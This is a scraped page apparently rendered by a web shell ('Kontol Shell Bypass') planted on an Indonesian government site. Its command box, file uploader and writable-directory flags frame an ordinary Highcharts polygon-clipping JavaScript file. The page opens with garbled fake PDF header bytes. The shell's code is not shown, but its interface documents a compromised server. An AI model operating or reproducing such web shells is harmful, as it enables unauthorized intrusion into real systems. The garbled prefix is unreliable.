%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /www/wwwroot/jdih.dprd.mukomukokab.go.id/assets/3ebc0a4d/es-modules/Core/Geometry/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /www/wwwroot/jdih.dprd.mukomukokab.go.id/assets/3ebc0a4d/es-modules/Core/Geometry/PolygonClip.js
/* *
 *
 *  (c) 2010-2021 Highsoft AS
 *
 *  License: www.highcharts.com/license
 *
 *  !!!!!!! SOURCE GETS TRANSPILED BY TYPESCRIPT. EDIT TS FILE ONLY. !!!!!!!
 *
 * */
'use strict';
var isInside = function (clipEdge1, clipEdge2, p) {
    return (clipEdge2[0] - clipEdge1[0]) * (p[1] - clipEdge1[1]) >
        (clipEdge2[1] - clipEdge1[1]) * (p[0] - clipEdge1[0]);
};
var intersection = function (clipEdge1, clipEdge2, prevPoint, currentPoint) {
    var dc = [
        clipEdge1[0] - clipEdge2[0],
        clipEdge1[1] - clipEdge2[1]
    ], dp = [
        prevPoint[0] - currentPoint[0],
        prevPoint[1] - currentPoint[1]
    ], n1 = clipEdge1[0] * clipEdge2[1] - clipEdge1[1] * clipEdge2[0], n2 = prevPoint[0] * currentPoint[1] - prevPoint[1] * currentPoint[0], n3 = 1 / (dc[0] * dp[1] - dc[1] * dp[0]), intersection = [
        (n1 * dp[0] - n2 * dc[0]) * n3,
        (n1 * dp[1] - n2 * dc[1]) * n3
    ];
    intersection.isIntersection = true;
    return intersection;
};
var PolygonClip;
(function (PolygonClip) {
    // Simple line string clipping. Clip to bounds and insert intersection
    // points.
    PolygonClip.clipLineString = function (line, boundsPolygon) {
        var ret = [], l = PolygonClip.clipPolygon(line, boundsPolygon, false);
        for (var i = 1; i < l.length; i++) {
            // Insert gap where two intersections follow each other
            if (l[i].isIntersection && l[i - 1].isIntersection) {
                ret.push(l.splice(0, i));
                i = 0;
            }
            // Push the rest
            if (i === l.length - 1) {
                ret.push(l);
            }
        }
        return ret;
    };
    // Clip a polygon to another polygon using the Sutherland/Hodgman algorithm.
    PolygonClip.clipPolygon = function (subjectPolygon, boundsPolygon, closed) {
        if (closed === void 0) { closed = true; }
        var clipEdge1 = boundsPolygon[boundsPolygon.length - 1], clipEdge2, prevPoint, currentPoint, outputList = subjectPolygon;
        for (var j = 0; j < boundsPolygon.length; j++) {
            var inputList = outputList;
            clipEdge2 = boundsPolygon[j];
            outputList = [];
            prevPoint = closed ?
                // Polygon, wrap around
                inputList[inputList.length - 1] :
                // Open line string, don't wrap
                inputList[0];
            for (var i = 0; i < inputList.length; i++) {
                currentPoint = inputList[i];
                if (isInside(clipEdge1, clipEdge2, currentPoint)) {
                    if (!isInside(clipEdge1, clipEdge2, prevPoint)) {
                        outputList.push(intersection(clipEdge1, clipEdge2, prevPoint, currentPoint));
                    }
                    outputList.push(currentPoint);
                }
                else if (isInside(clipEdge1, clipEdge2, prevPoint)) {
                    outputList.push(intersection(clipEdge1, clipEdge2, prevPoint, currentPoint));
                }
                prevPoint = currentPoint;
            }
            clipEdge1 = clipEdge2;
        }
        return outputList;
    };
})(PolygonClip || (PolygonClip = {}));
/* *
 *
 *  Default Export
 *
 * */
export default PolygonClip;

Kontol Shell Bypass